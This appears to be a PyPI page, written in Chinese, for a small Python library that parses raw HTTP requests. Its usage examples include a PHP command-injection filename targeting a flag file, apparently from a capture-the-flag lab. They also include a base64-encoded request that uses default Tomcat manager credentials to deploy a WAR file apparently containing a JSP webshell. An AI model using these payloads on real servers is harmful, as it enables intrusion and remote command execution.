Skip to main content

Load HTTP request from a raw HTTP request

Project description

解析原始http请求包

类似sqlmap里面的-r选项,直接解析http原始请求的小工具

可以直接使用从burpsuite复制的请求,支持base64编码,防止二进制数据在复制的时候出错

使用示例

from ParseRawHTTP import ParseRawHTTP

Raw_HTTP_Str = '''POST /login HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 25
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
Connection: close

username=rayi&password=11

'''

http_url,http_method,http_headers_dict,http_body = ParseRawHTTP(Raw_HTTP_Str)
print("URL : http://" + http_url)
print("+--------------------------------------------------------------------+")
print("Headers : " , http_headers_dict)
print("+--------------------------------------------------------------------+")
print("Body : ", http_body.decode('utf8'))
print("+--------------------------------------------------------------------+\n")

# req = requests.request(method=http_method,url = http_url,headers=http_headers_dict,data=http_body).text
# print(req)

File_Upload = '''
POST / HTTP/1.1
Host: 192.168.39.2:8000
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rayi
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfhBkNluTJKBLYIEw
Content-Length: 352


------WebKitFormBoundaryfhBkNluTJKBLYIEw
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

asd

------WebKitFormBoundaryfhBkNluTJKBLYIEw
Content-Disposition: form-data; name="upload"; filename="<?php system('cat /flag');?>"
Content-Type: image/gif

G

------WebKitFormBoundaryfhBkNluTJKBLYIEw--

'''


http_url,http_method,http_headers_dict,http_body = ParseRawHTTP(File_Upload)
print("URL : http://" + http_url)
print("+--------------------------------------------------------------------+")
print("Headers : " , http_headers_dict)
print("+--------------------------------------------------------------------+")
print("Body : ", http_body.decode('utf8'))
print("+--------------------------------------------------------------------+\n")

Upload_Binary_File = '''UE9TVCAvbWFuYWdlci9odG1sL3VwbG9hZCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xOjgwMDANCkNvbnRlbnQtTGVuZ3RoOiAxNTU3DQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTANCkF1dGhvcml6YXRpb246IEJhc2ljIGRHOXRZMkYwT25SdmJXTmhkQT09DQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9mb3JtLWRhdGE7IGJvdW5kYXJ5PS0tLS1XZWJLaXRGb3JtQm91bmRhcnkwNm8zRDdwQktaa3NiYmE5DQp4LWZvcndhcmRlZC1mb3I6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogY2xvc2UNCg0KLS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5MDZvM0Q3cEJLWmtzYmJhOQ0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJkZXBsb3lXYXIiOyBmaWxlbmFtZT0iZ29kLndhciINCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQoNClBLAwQUAAgICADrripTAAAAAAAAAAAAAAAACQAEAE1FVEEtSU5GL/7KAAADAFBLBwgAAAAAAgAAAAAAAABQSwMEFAAICAgA664qUwAAAAAAAAAAAAAAABQAAABNRVRBLUlORi9NQU5JRkVTVC5NRvNNzMtMSy0u0Q1LLSrOzM+zUjDUM+Dlci5KTSxJTdF1qgQJWOgZxBtZGipo+BclJuekKjjnFxXkFyWWANVr8nLxcgEAUEsHCH7tblFEAAAARQAAAFBLAwQUAAgICADRripTAAAAAAAAAAAAAAAABwAAAGdvZC5qc3C1Vmtv2zYU/SucgAAkJhBJ2gRrVa2Ikwwotqwt3GIBhn2gqGtbnV4jqUSu4P/ey4ccO7HTtUU+JKLIcy/PPTzi9auDn8jUqKKek16m0TN5CofZL+KFPDo5Pn4uomRcbYXWaWT/381V+UmKf9TO/txLlhBZ4pBcE+gN1Lkm5/b9j0bkoIa2y8pCkmu6MUk+s0F3LSj6mSWrgHDr5D3Nlgb+/ofIjA0KTKdq4qA8h1lRg0NRmcXkMEYML6GemwVmIWOeEN+PiXScNU0JoiYVG4hRy+GTuBE9l2rZmoafF+0CGcl0xyyfg3lTayNqCTQ6u5xGLJG8qAtDq9dHL4/jGm7JVpxuQfIpSGT+Oyyn+EZ7adNMkIymLPZZWBJKkzxvfitqUVKNOq6kMHJB6GUvoTVFUxNYi1B3ZYmIFQllIiuDj7szoWGoGRnCEENJ6iOxbuIK5xpkpwqz5FegtZjDRTEHbUiVVIh9BLEtxtXFCYpR8a7NhQGqN2u0R6PDyVBfq6URtOKVMAs+KeZvagNz9MBRTCqeuz0QzU3j2dOjU/vyscXDPxcaqD3kHQKRYRUkwgcqtFugDDOcPr+sZZPD6IwMpTIL1dxqcpdw8D70+CRE34iygy0p/XrqwHzWqD9Fhaq4+jpTlHzi1lGit9knkIb4nRXm8JFWryswiyanEQ7DchS7LRh67Kb5F4k6bJhMRhbhpFkIsqn8Z8E2s4Jb/RDUtJnxABwOSx/CZ8L9p7ta7xhyerTn7uEWtO8AnCJktyS6q3lVaMknZ9PL8QQUCkP2KYM7r32GsO+p+umqPbZ+Gw3nqD203GgvV84FOMuNNvy65UL0j1suh0ct54n9X8t5Vizk3CO+X30gvq/9gfgh15NZbSzwzmoPFNlntW+odtLNZl7Fp6l5p+EOfn11YDtZ8ApewSLdspuC/7pwZ78TCtUxeNHaho3XsUP31D5iMhOlBpYUM0I13va4pY05M0g/6/Bix96/LLFpRyxNnSWGEaZ3wlxLvKZmUeh7sm30f3vNv3cEkM4KkMEwEr6fNXDXUezgibN70XDba86UEsu3nWk7g3KDqIhQCt/TdavZB6Trj2SWUv/LhH2lfHbPLDOOjFE86vfcmGixZZ432Nx6Y3ufbptag037FzZVWzy/tQOKPZvrLtO+2x3G2O9slnX/ezR4q5/1gQTGrsu1fdioDhj7BhKOwmr37xA03RdQSwcIcHFlAo0DAAA3CgAAUEsBAhQAFAAICAgA664qUwAAAAACAAAAAAAAAAkABAAAAAAAAAAAAAAAAAAAAE1FVEEtSU5GL/7KAABQSwECFAAUAAgICADrripTfu1uUUQAAABFAAAAFAAAAAAAAAAAAAAAAAA9AAAATUVUQS1JTkYvTUFOSUZFU1QuTUZQSwECFAAUAAgICADRripTcHFlAo0DAAA3CgAABwAAAAAAAAAAAAAAAADDAAAAZ29kLmpzcFBLBQYAAAAAAwADALIAAACFBAAAAAANCi0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeTA2bzNEN3BCS1prc2JiYTktLQ0KDQoNCg=='''

http_url,http_method,http_headers_dict,http_body = ParseRawHTTP(Upload_Binary_File,is_base64=True)
print("URL : http://" + http_url)
print("+--------------------------------------------------------------------+")
print("Headers : " , http_headers_dict)
print("+--------------------------------------------------------------------+")
print("Body : ", http_body)
print("+--------------------------------------------------------------------+\n")

Project details


Release history Release notifications | RSS feed

This version

1.0

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

ParseRawHTTP-1.0.tar.gz (5.1 kB view details)

Uploaded Source

File details

Details for the file ParseRawHTTP-1.0.tar.gz.

File metadata

  • Download URL: ParseRawHTTP-1.0.tar.gz
  • Upload date:
  • Size: 5.1 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.4.2 importlib_metadata/4.6.0 pkginfo/1.7.1 requests/2.23.0 requests-toolbelt/0.9.1 tqdm/4.46.1 CPython/3.7.4

File hashes

Hashes for ParseRawHTTP-1.0.tar.gz
Algorithm Hash digest
SHA256 302a69fd6b9e655e0641164a1d3e7d7040ee6308901e916082030c1cc2afdac4
MD5 68a34030f7e0311775655524fe2a6fb1
BLAKE2b-256 3ea11fd4e29db65545f1dcbf5736ce940ad801897ba700e226d126a403efda83

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page